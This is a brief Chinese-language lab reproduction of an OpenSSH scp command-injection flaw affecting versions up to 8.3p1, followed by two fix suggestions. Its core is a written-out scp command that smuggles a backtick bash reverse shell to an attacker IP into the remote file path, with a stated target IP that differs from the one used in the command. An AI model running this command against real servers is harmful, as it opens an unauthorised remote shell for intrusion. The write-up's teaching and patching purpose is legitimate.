漏洞简述
-
OpenSSH是OpenBSD计划组的一套用于安全访问远程计算机的连接工具。该工具是SSH协议的开源实现,支持对所有的传输进行加密,可有效防止窃听、连接劫持以及其他攻击。
-
实际环境汇中的利用场景:
- 对于用户来说,ssh被阻止,但在authorized_keys文件中的命令选项允许使用scp的情况下,可以绕过此限制并在远程服务器上执行命令。也就是说,实际中通过各种手段获取到ssh的用户密码,但是不允许ssh连接,或者IP连接受限等情况下,可以尝试此漏洞进行利用。
-
涉及版本:OpenSSH <=8.3p1
复现开始
- 攻击机(VPS):192.168.83.138
- 目标机:192.168.83.139
1、查看目标靶机的ssh版本:
2、先在攻击机上侦听6666端口
3、在攻击机上执行命令:
scp 1.txt root@192.168.83.131:'`bash -i >& /dev/tcp/192.168.83.138/6666 0>&1`/tmp/test.txt'
- 输入目标机的ssh密码
- 此时,已经反弹shell:
修复建议
1、加强ssh密码或秘钥的保护,定期更换密码或秘钥。
2、使用rsync代替scp